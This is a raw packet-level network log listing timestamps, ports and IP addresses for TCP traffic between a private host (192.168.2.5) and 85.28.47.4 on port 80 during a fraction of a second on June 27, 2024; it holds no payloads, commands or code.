Jun 27, 2024 07:37:16.250091076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.250102043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250114918 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.250144958 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.250303030 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250323057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.250344038 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.250369072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332298040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332321882 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332334042 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332372904 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332406044 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332422018 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332433939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332446098 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332458019 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332465887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332496881 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332509041 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332698107 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332710028 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332720995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332731962 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332742929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332745075 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332755089 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332756042 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332766056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332801104 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332818031 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.332987070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.332997084 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333003044 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333120108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333131075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333143950 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333144903 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333153963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333164930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333167076 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333175898 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333182096 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333187103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333198071 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333211899 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333214045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333220959 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333246946 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333266020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333751917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333775997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333786964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333796978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333803892 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333807945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333827972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333828926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333842039 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.333853960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333867073 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.333894014 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334196091 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334207058 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334223032 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334233999 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334244967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334255934 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334256887 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334266901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334296942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334310055 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334491968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334502935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334513903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334525108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334536076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334537029 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334547043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334557056 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334558010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334578991 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334587097 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334597111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334598064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334606886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334616899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334624052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334629059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334640026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334640980 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334652901 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334664106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334670067 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334675074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.334683895 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334702969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.334727049 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.335289955 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335305929 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335316896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335333109 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335336924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.335339069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335344076 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335345984 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335350037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335351944 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.335356951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335370064 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335381985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335390091 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.335392952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335406065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335414886 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335424900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.335424900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335437059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335448027 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335453987 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.335458994 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335470915 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.335470915 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335483074 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.335501909 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.335541010 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.336252928 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336265087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336275101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336286068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336296082 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336303949 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.336306095 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336318016 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336328983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336338043 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336338043 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.336348057 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336358070 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336361885 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.336369038 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336380005 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336385965 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.336390972 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336401939 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336407900 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.336414099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336431026 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.336451054 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.336956024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336971998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336980104 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336986065 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336992025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.336997986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337004900 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337009907 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337012053 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337013960 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337016106 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337018967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337021112 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.337030888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337042093 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337053061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337053061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.337090969 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.337553978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337565899 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337577105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337589025 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337600946 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337611914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337615013 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.337624073 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337635040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.337636948 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.337652922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.337675095 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.419189930 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419210911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419220924 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419282913 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.419327974 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.419415951 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419425964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419435978 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419446945 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419467926 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.419502020 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.419523001 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419532061 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419543982 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419555902 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.419590950 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.419732094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419744968 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419753075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419758081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419759989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419763088 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419774055 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419776917 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.419784069 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419795036 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.419816017 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.419850111 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420018911 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420063019 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420157909 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420169115 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420177937 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420186996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420197964 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420207024 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420207024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420217037 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420227051 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420229912 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420236111 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420247078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420260906 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420278072 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420296907 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420653105 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420664072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420679092 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420687914 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420698881 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420710087 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420711040 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420721054 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420731068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420731068 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420744896 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420753956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420759916 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420763969 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420773983 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420782089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420783997 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.420804024 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.420830011 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.421231985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421241045 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421251059 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421261072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421269894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421278954 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421287060 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.421288967 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421303988 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.421323061 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.421503067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421513081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421528101 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421544075 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421550989 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421551943 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.421555996 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421561956 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421570063 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.421600103 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.421986103 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.421993971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422003031 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422013998 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422024012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422033072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422036886 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422043085 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422053099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422054052 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422070026 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422077894 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422080040 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422089100 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422097921 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422100067 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422110081 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422118902 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422125101 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422130108 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422139883 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422149897 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422169924 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422183990 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422717094 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422730923 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422741890 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422751904 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422760963 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422769070 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422784090 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422792912 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422799110 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422799110 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422801971 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422804117 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422807932 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422810078 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422811985 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422815084 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422816992 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422822952 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422832012 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422832966 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422841072 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422851086 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422861099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422863960 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422869921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422880888 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.422888994 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422905922 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.422920942 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.423619986 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423633099 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423641920 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423657894 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423667908 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423677921 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423679113 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.423687935 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423696995 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423700094 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.423707008 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423716068 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423723936 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423731089 CEST	49705	80	192.168.2.5	85.28.47.4
Jun 27, 2024 07:37:16.423734903 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423744917 CEST	80	49705	85.28.47.4	192.168.2.5
Jun 27, 2024 07:37:16.423749924 CEST	49705	80	192.168.2.5	85.28.47.4
